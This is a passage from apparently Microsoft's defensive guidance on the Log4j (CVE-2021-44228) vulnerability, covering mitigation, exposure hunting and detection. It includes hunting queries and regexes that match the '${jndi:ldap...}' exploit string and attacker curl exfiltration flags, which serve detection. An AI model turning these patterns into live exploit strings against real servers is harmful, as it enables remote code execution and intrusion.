[Exposed devices tab](<https://security.microsoft.com/vulnerabilities/vulnerability/CVE-2021-44228/exposedDevices>) in the dedicated CVE-2021-44228 dashboard and review the **Mitigation status** column. Note that it may take a few hours for the updated mitigation status of a device to be reflected.\n\n\n\n_Figure 6. Viewing each device\u2019s mitigation status_\n\n 2. Apply the mitigation (that is, turn off JNDI lookup) on devices directly from the portal. This feature is currently available for Windows devices only.\n\nThe mitigation will be applied directly via the Microsoft Defender for Endpoint client. To view the mitigation options, click on the **Mitigation options** button in the [Log4j dashboard](<https://security.microsoft.com/vulnerabilities/vulnerability/CVE-2021-44228/overview>):\n\n\n\nYou can choose to apply the mitigation to all exposed devices or select specific devices for which you would like to apply it. To complete the process and apply the mitigation on devices, click **Create mitigation action**.\n\n\n\n_Figure 7. Creating mitigation actions for exposed devices._\n\nIn cases where the mitigation needs to be reverted, follow these steps:\n\n 1. Open an elevated PowerShell window\n 2. Run the following command:\n \n \n [Environment]::SetEnvironmentVariable(\"LOG4J_FORMAT_MSG_NO_LOOKUPS\", $null, [EnvironmentVariableTarget]::Machine)\n\nThe change will take effect after the device restarts.\n\n### Microsoft 365 Defender advanced hunting\n\nAdvance hunting can also surface affected software. This query looks for possibly vulnerable applications using the affected Log4j component. Triage the results to determine applications and programs that may need to be patched and updated.\n \n \n DeviceTvmSoftwareInventory\n | where SoftwareName contains \"log4j\"\n | project DeviceName, SoftwareName, SoftwareVersion\n\n\n\n_Figure 8. Finding vulnerable software via advanced hunting_\n\n### Microsoft Defender for Cloud\n\n#### Microsoft Defender for servers\n\nOrganizations using Microsoft Defender for Cloud can use [Inventory tools](<https://docs.microsoft.com/azure/defender-for-cloud/asset-inventory>) to begin investigations before there\u2019s a CVE number. With Inventory tools, there are two ways to determine exposure across hybrid and multi-cloud resources:\n\n * Vulnerability assessment findings \u2013 Organizations who have enabled any of the vulnerability assessment tools (whether it's Microsoft Defender for Endpoint's [threat and vulnerability management](<https://docs.microsoft.com/azure/defender-for-cloud/deploy-vulnerability-assessment-tvm>) module, the [built-in Qualys scanner](<https://docs.microsoft.com/azure/defender-for-cloud/deploy-vulnerability-assessment-vm>), or a [bring your own license solution](<https://docs.microsoft.com/azure/defender-for-cloud/deploy-vulnerability-assessment-byol-vm>)), they can search by CVE identifier:\n\n\n\n_Figure 9. Searching vulnerability assessment findings by CVE identifier_\n\n * Software inventory - With the combined [integration with Microsoft Defender for Endpoint](<https://docs.microsoft.com/azure/defender-for-cloud/integration-defender-for-endpoint>) and [Microsoft Defender for servers](<https://docs.microsoft.com/azure/defender-for-cloud/defender-for-servers-introduction>), organizations can search for resources by installed applications and discover resources running the vulnerable software:\n\n\n\n_Figure 10. Searching software inventory by installed applications_\n\nNote that this doesn\u2019t replace a search of your codebase. It\u2019s possible that software with integrated Log4j libraries won\u2019t appear in this list, but this is helpful in the initial triage of investigations related to this incident. For more information about how Microsoft Defender for Cloud finds machines affected by CVE-2021-44228, read this [tech community post](<https://techcommunity.microsoft.com/t5/microsoft-defender-for-cloud/how-defender-for-cloud-finds-machines-affected-by-log4j/ba-p/3037271>).\n\n#### Microsoft Defender for Containers\n\nMicrosoft Defender for Containers is capable of discovering images affected by the vulnerabilities recently discovered in Log4j 2: [CVE-2021-44228](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228>), [CVE-2021-45046](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046>), and [CVE-2021-45105](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105>). Images are automatically scanned for vulnerabilities in three different use cases: when pushed to an Azure container registry, when pulled from an Azure container registry, and when container images are running on a Kubernetes cluster. Additional information on supported scan triggers and Kubernetes clusters can be found [here](<https://docs.microsoft.com/azure/defender-for-cloud/defender-for-containers-introduction?tabs=defender-for-container-arch-aks>). \n\nLog4j binaries are discovered whether they are deployed via a package manager, copied to the image as stand-alone binaries, or included within a JAR Archive (up to one level of nesting). \n\nWe will continue to follow up on any additional developments and will update our detection capabilities if any additional vulnerabilities are reported.\n\n**Finding affected images**\n\nTo find vulnerable images across registries using the Azure portal, navigate to the **Microsoft Defender for Cloud** service under Azure Portal. Open the **Container Registry images should have vulnerability findings resolved** recommendation and search findings for the relevant CVEs. \n\n\n\n_Figure 11. Finding images with the CVE-2021-45046 vulnerability_ \n\n**Find vulnerable running images on Azure portal [preview] **\n\nTo view only vulnerable images that are currently running on a Kubernetes cluster using the Azure portal, navigate to the **Microsoft Defender for Cloud** service under Azure Portal. Open the **Vulnerabilities in running container images should be remediated (powered by Qualys)** recommendation and search findings for the relevant CVEs: \n\n\n\n_Figure 12. Finding running images with the CVE-2021-45046 vulnerability _\n\nNote: This recommendation requires clusters to run Microsoft Defender security profile to provide visibility on running images.\n\n**Search Azure Resource Graph data ******\n\nAzure Resource Graph (ARG) provides instant access to resource information across cloud environments with robust filtering, grouping, and sorting capabilities. It's a quick and efficient way to query information across Azure subscriptions programmatically or from within the Azure portal. ARG provides another way to query resource data for resources found to be affected by the Log4j vulnerability.\n\nThe following query finds resources affected by the Log4j vulnerability across subscriptions. Use the additional data field across all returned results to obtain details on vulnerable resources: \n \n \n securityresources \n | where type =~ \"microsoft.security/assessments/subassessments\"\n | extend assessmentKey=extract(@\"(?i)providers/Microsoft.Security/assessments/([^/]*)\", 1, id), subAssessmentId=tostring(properties.id), parentResourceId= extract(\"(.+)/providers/Microsoft.Security\", 1, id)\n | extend Props = parse_json(properties)\n | extend additionalData = Props.additionalData\n | extend cves = additionalData.cve\n | where isnotempty(cves) and array_length(cves) > 0\n | mv-expand cves\n | where tostring(cves) has \"CVE-2021-44228\" or tostring(cves) has \"CVE-2021-45046\" or tostring(cves) has \"CVE-2021-45105\" \n\n### Microsoft Sentinel queries\n\nMicrosoft Sentinel customers can use the following detection query to look for devices that have applications with the vulnerability:\n\n * [Vulnerable machines related to Log4j CVE-2021-44228](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityNestedRecommendation/Log4jVulnerableMachines.yaml>)\n\nThis query uses the Microsoft Defender for Cloud nested recommendations data to find machines vulnerable to Log4j CVE-2021-44228.\n\nMicrosoft Sentinel also provides a CVE-2021-44228 Log4Shell Research Lab Environment for testing the vulnerability: <https://github.com/OTRF/Microsoft-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-44228-Log4Shell>\n\n### RiskIQ EASM and Threat Intelligence\n\nRiskIQ has published a few threat intelligence articles on this CVE, with mitigation guidance and IOCs. The latest one with links to previous articles can be found [here](<https://community.riskiq.com/article/67ba1386>). Both Community users and enterprise customers can search within the threat intelligence portal for data about potentially vulnerable components exposed to the Internet. For example, it's possible to [surface all observed instances of Apache](<https://community.riskiq.com/search/components?category=Server&query=Apache>) or [Java](<https://community.riskiq.com/research?query=java>), including specific versions. Leverage this method of exploration to aid in understanding the larger Internet exposure, while also filtering down to what may impact you. \n\nFor a more automated method, registered users can view their attack surface to understand tailored findings associated with their organization. Note, you must be registered with a corporate email and the automated attack surface will be limited. Digital Footprint customers can immediately understand what may be vulnerable and act swiftly and resolutely using the [Attack Surface Intelligence Dashboard](<https://app.riskiq.net/a/main/index#/dashboards/379/RiskIQ%20Attack%20Intelligence%20Dashboard>) Log4J Insights tab. \n\n## Detecting and responding to exploitation attempts and other related attacker activity\n\n### Microsoft 365 Defender\n\nMicrosoft 365 Defender coordinates multiple security solutions that detect components of observed attacks taking advantage of this vulnerability, from exploitation attempts to remote code execution and post-exploitation activity.\n\n\n\n_Figure 13. Microsoft 365 Defender solutions protect against related threats_\n\nCustomers can click **Need help?** in the Microsoft 365 Defender portal to open up a search widget. Customers can key in \u201cLog4j\u201d to search for in-portal resource, check if their network is affected, and work on corresponding actionable items to mitigate them.\n\n#### Microsoft Defender Antivirus\n\nTurn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block the majority of new and unknown variants. Microsoft Defender Antivirus detects components and behaviors related to this threat as the following detection names:\n\nOn Windows:\n\n * [Trojan:Win32/Capfetox.AA](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Capfetox.AA&threatId=-2147159827>)- detects attempted exploitation on the attacker machine\n * [HackTool:Win32/Capfetox.A!dha](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=HackTool:Win32/Capfetox.A!dha&threatId=-2147159807>) - detects attempted exploitation on the attacker machine\n * [VirTool:Win64/CobaltSrike.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:Win64/CobaltStrike.A&threatId=-2147200161>), [TrojanDropper:PowerShell/Cobacis.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDropper:PowerShell/Cobacis.A&threatId=-2147200375>) - detects Cobalt Strike Beacon loaders\n * [TrojanDownloader:Win32/CoinMiner](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Win32/CoinMiner&threatId=-2147257370>) - detects post-exploitation coin miner\n * [Trojan:Win32/WebToos.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/WebToos.A&threatId=-2147278986>) - detects post-exploitation PowerShell\n * [Ransom:MSIL/Khonsari.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:MSIL/Khonsari.A&threatId=-2147159485>) - detects a strain of the Khonsari ransomware family observed being distributed post-exploitation\n * [Trojan:Win64/DisguisedXMRigMiner](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win64/DisguisedXMRigMiner&threatId=-2147169351>) - detects post-exploitation cryptocurrency miner\n * [TrojanDownloader:Java/Agent.S](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Java/Agent.S&threatId=-2147159796>) - detects suspicious class files used in post-exploitation\n * [TrojanDownloader:PowerShell/NitSky.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:PowerShell/NitSky.A&threatId=-2147157401>) - detects attempts to download CobaltStrike Beacon payload\n\nOn Linux:\n\n * [Trojan:Linux/SuspectJavaExploit.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/SuspectJavaExploit.A&threatId=-2147159829>), [Trojan:Linux/SuspectJavaExploit.B](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/SuspectJavaExploit.B&threatId=-2147159828>), [Trojan:Linux/SuspectJavaExploit.C](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/SuspectJavaExploit.C&threatId=-2147159808>) - blocks Java processes downloading and executing payload through output redirection\n * [Trojan:Linux/BashMiner.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/BashMiner.A&threatId=-2147159832>) - detects post-exploitation cryptocurrency miner\n * [TrojanDownloader:Linux/CoinMiner](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/CoinMiner&threatId=-2147241315>) - detects post-exploitation cryptocurrency miner\n * [TrojanDownloader:Linux/Tusnami](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/Tusnami.A&threatId=-2147159794>) - detects post-exploitation Backdoor Tsunami downloader\n * [Backdoor:Linux/Tusnami.C](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Linux/Tusnami.C!MTB&threatId=-2147178887>) - detects post-exploitation Tsunami backdoor\n * [Backdoor:Linux/Setag.C](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Linux/Setag.C&threatId=-2147277056>) - detects post-exploitation Gates backdoor\n * [Exploit:Linux/CVE-2021-44228.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Linux/CVE-2021-44228.A&threatId=-2147159804>), [Exploit:Linux/CVE-2021-44228.B](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Linux/CVE-2021-44228.B&threatId=-2147159803>) - detects exploitation\n * [TrojanDownloader:Linux/Capfetox.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/Capfetox.A&threatId=-2147159639>), [TrojanDownloader:Linux/Capfetox.B](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/Capfetox.B&threatId=-2147159640>)\n * [TrojanDownloader:Linux/ShAgnt!MSR](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/ShAgnt!MSR&threatId=-2147159432>), [TrojanDownloader:Linux/ShAgnt.A!MTB](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/ShAgnt.A!MTB&threatId=-2147159607>)\n * [Trojan:Linux/Kinsing.L](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/Kinsing.L&threatId=-2147189973>) - detects post-exploitation cryptocurrency Kinsing miner\n * [Trojan:Linux/Mirai.TS!MTB](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/Mirai.TS!MTB&threatId=-2147159629>) - detects post-exploitation Mirai malware capable of performing DDoS\n * [Backdoor:Linux/Dakkatoni.az!MTB](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Linux/Dakkatoni.az!MTB&threatId=-2147205141>) - detects post-exploitation Dakkatoni backdoor trojan capable of downloading more payloads\n * [Trojan:Linux/JavaExploitRevShell.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/JavaExploitRevShell.A&threatId=-2147159631>) - detects reverse shell attack post-exploitation\n * [Trojan:Linux/BashMiner.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/BashMiner.A&threatId=-2147159832>), [Trojan:Linux/BashMiner.B](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/BashMiner.B&threatId=-2147159820>) - detects post-exploitation cryptocurrency miner\n\n#### Microsoft Defender for Endpoint\n\nUsers of Microsoft Defender for Endpoint can turn on the following attack surface reduction rule to block or audit some observed activity associated with this threat.\n\n * Block executable files from running unless they meet a prevalence, age, or trusted list criterion\n\nDue to the broad network exploitation nature of vectors through which this vulnerability can be exploited and the fact that applying mitigations holistically across large environments will take time, we encourage defenders to look for signs of post-exploitation rather than fully relying on prevention. Observed post exploitation activity such as coin mining, lateral movement, and Cobalt Strike are detected with behavior-based detections.\n\nAlerts with the following titles in the Security Center indicate threat activity related to exploitation of the Log4j vulnerability on your network and should be immediately investigated and remediated. These alerts are supported on both Windows and Linux platforms: \n\n * **Log4j exploitation detected** \u2013 detects known behaviors that attackers perform following successful exploitation of the CVE-2021-44228 vulnerability\n * **Log4j exploitation artifacts detected** (previously titled Possible exploitation of CVE-2021-44228) \u2013 detects coin miners, shells, backdoor, and payloads such as Cobalt Strike used by attackers post-exploitation\n * **Log4j exploitation network artifacts detected** (previously titled Network connection seen in CVE-2021-44228 exploitation) - detects network traffic connecting traffic connecting to an address associated with CVE-2021-44228 scanning or exploitation activity \n\nThe following alerts may indicate exploitation attempts or testing/scanning activity. Microsoft advises customers to investigate with caution, as these alerts don\u2019t necessarily indicate successful exploitation:\n\n * **Possible target of Log4j exploitation - **detects a possible attempt to exploit the remote code execution vulnerability in the Log4j component of an Apache server in communication __received by__ this device\n * **Possible target of Log4j vulnerability scanning** \u2013 detects a possible __attempt to scan__ for the remote code execution vulnerability in a Log4j component of an Apache server in communication received by this device\n * **Possible source of Log4j exploitation** \u2013 detects a possible attempt to exploit the remote code execution vulnerability in the Log4j component of an Apache server in communication __initiated from__ this device \n * **Possible Log4j exploitation** - detects multiple behaviors, including suspicious command launch post-exploitation\n * **Possible Log4j exploitation (CVE-2021-44228)** \u2013 inactive, initially covered several of the above, now replaced with more specific titles\n\nThe following alerts detect activities that have been observed in attacks that utilize at least one of the Log4j vulnerabilities. However, these alerts can also indicate activity that is not related to the vulnerability. We are listing them here, as it is highly recommended that they are triaged and remediated immediately given their severity and the potential that they could be related to Log4j exploitation:\n\n * Suspicious remote PowerShell execution \n * Download of file associated with digital currency mining \n * Process associated with digital currency mining \n * Cobalt Strike command and control detected \n * Suspicious network traffic connection to C2 Server \n * Ongoing hands-on-keyboard attacker activity detected (Cobalt Strike) \n\nSome of the alerts mentioned above utilize the enhanced network inspection capabilities in Microsoft Defender for Endpoint. These alerts correlate several network and endpoint signals into high-confidence detection of successful exploitation, as well as providing detailed evidence artifacts valuable for triage and investigation of detected activities.\n\n\n\n_Figure 14. Example detection leveraging network inspection provides details about the Java class returned following successful exploitation_\n\n#### Microsoft Defender for Cloud Apps (previously Microsoft Cloud App Security)\n\nMicrosoft 365 Defender detects exploitation patterns in different data sources, including cloud application traffic reported by Microsoft Defender for Cloud Apps. The following alert surfaces exploitation attempts via cloud applications that use vulnerable Log4j components:\n\n * Log4j exploitation attempt via cloud application (previously titled Exploitation attempt against Log4j (CVE-2021-44228))\n\n\n\n_Figure 15. Microsoft 365 Defender alert "Exploitation attempt against Log4j (CVE-2021-4428)"_\n\n#### Microsoft Defender for Office 365\n\nTo add a layer of protection against exploits that may be delivered via email, Microsoft Defender for Office 365 flags suspicious emails (e.g., emails with the \u201cjndi\u201d string in email headers or the sender email address field), which are moved to the Junk folder.\n\nWe also added the following new alert, which detects attempts to exploit CVE-2021-44228 through email headers:\n\n * Log4j exploitation attempt via email (previously titled Log4j Exploitation Attempt \u2013 Email Headers (CVE-2021-44228))\n\n\n\n_Figure 16. __Sample alert on malicious sender display name found in email correspondence_\n\nThis detection looks for exploitation attempts in email headers, such as the sender display name, sender, and recipient addresses. The alert covers known obfuscation attempts that have been observed in the wild. If this alert is surfaced, customers are recommended to evaluate the source address, email subject, and file attachments to get more context regarding the authenticity of the email.\n\n\n\n_Figure 17. Sample email with malicious sender display name_\n\nIn addition, this email event as can be surfaced via advanced hunting:\n\n\n\n_Figure 18. Sample email event surfaced via advanced hunting _\n\n#### Microsoft 365 Defender advanced hunting queries\n\nTo locate possible exploitation activity, run the following queries:\n\n**Possible malicious indicators in cloud application events**\n\nThis query is designed to flag exploitation attempts for cases where the attacker is sending the crafted exploitation string using vectors such as User-Agent, Application or Account name. The hits returned from this query are most likely unsuccessful attempts, however the results can be useful to identity attackers\u2019 details such as IP address, Payload string, Download URL, etc. \n \n \n CloudAppEvents\n | where Timestamp > datetime(\"2021-12-09\")\n | where UserAgent contains \"jndi:\" \n or AccountDisplayName contains \"jndi:\"\n or Application contains \"jndi:\"\n or AdditionalFields contains \"jndi:\"\n | project ActionType, ActivityType, Application, AccountDisplayName, IPAddress, UserAgent, AdditionalFields\n\n**Alerts related to Log4j vulnerability**\n\nThis query looks for alert activity pertaining to the Log4j vulnerability.\n \n \n AlertInfo\n | where Title in~('Suspicious script launched',\n 'Exploitation attempt against Log4j (CVE-2021-44228)',\n 'Suspicious process executed by a network service',\n 'Possible target of Log4j exploitation (CVE-2021-44228)',\n 'Possible target of Log4j exploitation',\n 'Possible Log4j exploitation',\n 'Network connection seen in CVE-2021-44228 exploitation',\n 'Log4j exploitation detected',\n 'Possible exploitation of CVE-2021-44228',\n 'Possible target of Log4j vulnerability (CVE-2021-44228) scanning',\n 'Possible source of Log4j exploitation',\n 'Log4j exploitation attempt via cloud application', // Previously titled Exploitation attempt against Log4j\n 'Log4j exploitation attempt via email' // Previously titled Log4j Exploitation Attempt\n )\n\n**Devices with Log4j vulnerability alerts and additional other alert-related context**\n\nThis query surfaces devices with Log4j-related alerts and adds additional context from other alerts on the device. \n \n \n // Get any devices with Log4J related Alert Activity\n let DevicesLog4JAlerts = AlertInfo\n | where Title in~('Suspicious script launched',\n 'Exploitation attempt against Log4j (CVE-2021-44228)',\n 'Suspicious process executed by a network service',\n 'Possible target of Log4j exploitation (CVE-2021-44228)',\n 'Possible target of Log4j exploitation',\n 'Possible Log4j exploitation',\n 'Network connection seen in CVE-2021-44228 exploitation',\n 'Log4j exploitation detected',\n 'Possible exploitation of CVE-2021-44228',\n 'Possible target of Log4j vulnerability (CVE-2021-44228) scanning',\n 'Possible source of Log4j exploitation'\n 'Log4j exploitation attempt via cloud application', // Previously titled Exploitation attempt against Log4j\n 'Log4j exploitation attempt via email' // Previouskly titled Log4j Exploitation Attempt\n )\n // Join in evidence information\n | join AlertEvidence on AlertId\n | where DeviceId != \"\"\n | summarize by DeviceId, Title;\n // Get additional alert activity for each device\n AlertEvidence\n | where DeviceId in(DevicesLog4JAlerts)\n // Add additional info\n | join kind=leftouter AlertInfo on AlertId\n | summarize DeviceAlerts = make_set(Title), AlertIDs = make_set(AlertId) by DeviceId, bin(Timestamp, 1d)\n\n**Suspected exploitation of Log4j vulnerability**\n\nThis query looks for exploitation of the vulnerability using known parameters in the malicious string. It surfaces exploitation but may surface legitimate behavior in some environments.\n \n \n DeviceProcessEvents\n | where ProcessCommandLine has_all('${jndi') and ProcessCommandLine has_any('ldap', 'ldaps', 'http', 'rmi', 'dns', 'iiop')\n //Removing FPs \n | where not(ProcessCommandLine has_any('stackstorm', 'homebrew')) \n\n**Regex to identify malicious exploit string**\n\nThis query looks for the malicious string needed to exploit this vulnerability.\n \n \n DeviceProcessEvents\n | where ProcessCommandLine matches regex @'(?i)\\$\\{jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\\/\\/(\\$\\{([a-z]){1,20}:([a-z]){1,20}\\})?(([a-zA-Z0-9]|-){2,100})?(\\.([a-zA-Z0-9]|-){2,100})?\\.([a-zA-Z0-9]|-){2,100}\\.([a-z0-9]){2,20}(\\/).*}' \n or InitiatingProcessCommandLine matches regex @'(?i)\\$\\{jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\\/\\/(\\$\\{([a-z]){1,20}:([a-z]){1,20}\\})?(([a-zA-Z0-9]|-){2,100})?(\\.([a-zA-Z0-9]|-){2,100})?\\.([a-zA-Z0-9]|-){2,100}\\.([a-z0-9]){2,20}(\\/).*}'\n\n**Suspicious process event creation from VMWare Horizon TomcatService**\n\nThis query identifies anomalous child processes from the _ws_TomcatService.exe_ process associated with the exploitation of the Log4j vulnerability in VMWare Horizon installations. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application.\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName has \"ws_TomcatService.exe\"\n | where FileName != \"repadmin.exe\"\n\n**Suspicious JScript staging comment**\n\nThis query identifies a unique string present in malicious PowerShell commands attributed to threat actors exploiting vulnerable Log4j applications. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application.\n \n \n DeviceProcessEvents\n | where FileName has \"powershell.exe\"\n | where ProcessCommandLine has \"VMBlastSG\"\n \n\n**Suspicious PowerShell curl flags**\n\nThis query identifies unique, uncommon PowerShell flags used by curl to post the results of an attacker-executed command back to the command-and-control infrastructure. If the event is a true positive, the contents of the \u201cBody\u201d argument are Base64-encoded results from an attacker-issued comment. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application.\n \n \n DeviceProcessEvents\n | where FileName has \"powershell.exe\"\n | where ProcessCommandLine has_all(\"-met\", \"POST\", \"-Body\")\n\n### Microsoft Defender for Cloud\n\nMicrosoft Defender for Cloud\u2019s threat detection capabilities have been expanded to surface exploitation of CVE-2021-44228 in several relevant security alerts:\n\nOn Windows:\n\n * Detected obfuscated command line\n * Suspicious use of PowerShell detected\n\nOn Linux:\n\n * Suspicious file download\n * Possible Cryptocoinminer download detected\n * Process associated with digital currency mining detected\n * Potential crypto coin miner started\n * A history file has been cleared\n * Suspicious Shell Script Detected\n * Suspicious domain name reference\n * Digital currency mining related behavior detected\n * Behavior similar to common Linux bots detected\n\n### Microsoft Defender for IoT\n\nMicrosoft Defender for IoT has released a dedicated threat Intelligence update package for detecting Log4j 2 exploit attempts on the network (example below). \n\n\n\n_Figure 19. Microsoft Defender for IoT alert_ \n\nThe package is available for download from the [Microsoft Defender for IoT portal](<https://ms.portal.azure.com/#blade/Microsoft_Azure_IoT_Defender/IoTDefenderDashboard/Getting_Started>) (Click _Updates_, then _Download file _(MD5: 4fbc673742b9ca51a9721c682f404c41). \n\n\n\n_Figure 20. Microsoft Defender for IoT sensor threat intelligence update_\n\nMicrosoft Defender for IoT now pushes new threat intelligence packages to cloud-connected sensors upon release, [click here ](<https://docs.microsoft.com/en-us/azure/defender-for-iot/organizations/release-notes>)for more information. Starting with sensor version 10.3, users can automatically receive up-to-date threat intelligence packages through Microsoft Defender for IoT.\n\nWorking with automatic updates reduces operational effort and ensures greater security. Enable automatic updating on the [Defender for IoT portal](<https://ms.portal.azure.com/#blade/Microsoft_Azure_IoT_Defender/IoTDefenderDashboard/Sites>) by onboarding your cloud-connected sensor with the toggle for Automatic Threat Intelligence Updates turned on. For more information about threat intelligence packages in Defender for IoT, please refer to the [documentation](<https://docs.microsoft.com/en-us/azure/defender-for-iot/organizations/how-to-work-with-threat-intelligence-packages>).\n\n### Microsoft Sentinel\n\nA new Microsoft Sentinel solution has been added to the Content Hub that provides a central place to install Microsoft Sentinel specific content to monitor, detect, and investigate signals related to exploitation of the CVE-2021-44228 vulnerability.\n\n\n\n_Figure 21. Log4j Vulnerability Detection solution in Microsoft Sentinel_\n\nTo deploy this solution, in the Microsoft Sentinel portal, select **Content hub (Preview)** under **Content Management**, then search for **Log4j** in the search bar. Select the **Log4j vulnerability detection** solution, and click **Install**. Learn how to [centrally discover and deploy Microsoft Sentinel out-of-the-box content and solutions](<https://docs.microsoft.com/azure/sentinel/sentinel-solutions-deploy>).\n\n\n\n_Figure 22. Microsoft Sentinel Analytics showing detected Log4j vulnerability_\n\nNote: We recommend that you check the solution for updates periodically, as new collateral may be added to this solution given the rapidly evolving situation. This can be verified on the main Content hub page.\n\n#### Microsoft Sentinel queries\n\nMicrosoft Sentinel customers can use the following detection queries to look for this activity:\n\n * [Possible exploitation of Apache Log4j component detected](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Apache_log4j_Vulnerability.yaml>)\n\nThis hunting query looks for possible attempts to exploit a remote code execution vulnerability in the Log4j component of Apache. Attackers may attempt to launch arbitrary code by passing specific commands to a server, which are then logged and executed by the Log4j component.\n\n * [Cryptocurrency miners EXECVE](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/CryptoCurrencyMiners.yaml>)\n\nThis query hunts through EXECVE syslog data generated by AUOMS to find instances of cryptocurrency miners being downloaded. It returns a table of suspicious command lines.\n\n * [Azure WAF Log4j CVE-2021-44228 hunting](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/AzureDiagnostics/WAF_log4j_vulnerability.yaml>)\n\nThis hunting query looks in Azure Web Application Firewall data to find possible exploitation attempts for CVE-2021-44228 involving Log4j vulnerability.\n\n * [Log4j vulnerability exploit aka Log4Shell IP IOC](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Log4J_IPIOC_Dec112021.yaml>)\n\nThis hunting query identifies a match across various data feeds for IP IOCs related to the Log4j exploit described in CVE-2021-44228.\n\n * [Suspicious shell script detected](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Suspicious_ShellScript_Activity.yaml>)\n\nThis hunting query helps detect post-compromise suspicious shell scripts that attackers use for downloading and executing malicious files. This technique is often used by attackers and was recently used to exploit the vulnerability in Log4j component of Apache to evade detection and stay persistent or for more exploitation in the network.\n\n * [Azure WAF matching for ](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AzureDiagnostics/AzureWAFmatching_log4j_vuln.yaml>)[CVE-2021-44228](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AzureDiagnostics/AzureWAFmatching_log4j_vuln.yaml>)[ Log4j vulnerability](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AzureDiagnostics/AzureWAFmatching_log4j_vuln.yaml>)\n\nThis query alerts on a positive pattern match by Azure WAF for CVE-2021-44228 Log4j exploitation attempt. If possible, it then decodes the malicious command for further analysis.\n\n * [Suspicious Base64 download activity detected](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Base64_Download_Activity.yaml>)\n\nThis hunting query helps detect suspicious encoded Base64 obfuscated scripts that attackers use to encode payloads for downloading and executing malicious files. This technique is often used by attackers and was recently used to the Log4j vulnerability in order to evade detection and stay persistent in the network.\n\n * _[Linux security-related process termination activity detected ](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Process_Termination_Activity.yaml>)_\n\nThis query alerts on attempts to terminate processes related to security monitoring. Attackers often try to terminate such processes post-compromise as seen recently to exploit the CVE-2021-44228 vulnerability.\n\n * [Suspicious manipulation of firewall detected via Syslog data](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Firewall_Disable_Activity.yaml>)\n\nThis query uses syslog data to alert on any suspicious manipulation of firewall to evade defenses. Attackers often perform such operations as seen recently to exploit the CVE-2021-44228 vulnerability for C2 communications or exfiltration.\n\n * [User agent search for Log4j exploitation attempt](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/UserAgentSearch_log4j.yaml>)\n\nThis query uses various log sources having user agent data to look for CVE-2021-44228 exploitation attempt based on user agent pattern.\n\n * [Network connections to LDAP port for CVE-2021-44228 